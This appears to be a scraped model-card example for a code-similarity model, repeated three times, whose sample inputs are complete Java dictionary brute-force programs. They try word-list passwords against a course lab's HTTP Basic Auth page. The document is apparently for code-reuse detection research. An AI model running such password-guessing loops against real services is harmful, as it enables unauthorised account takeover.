\'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', 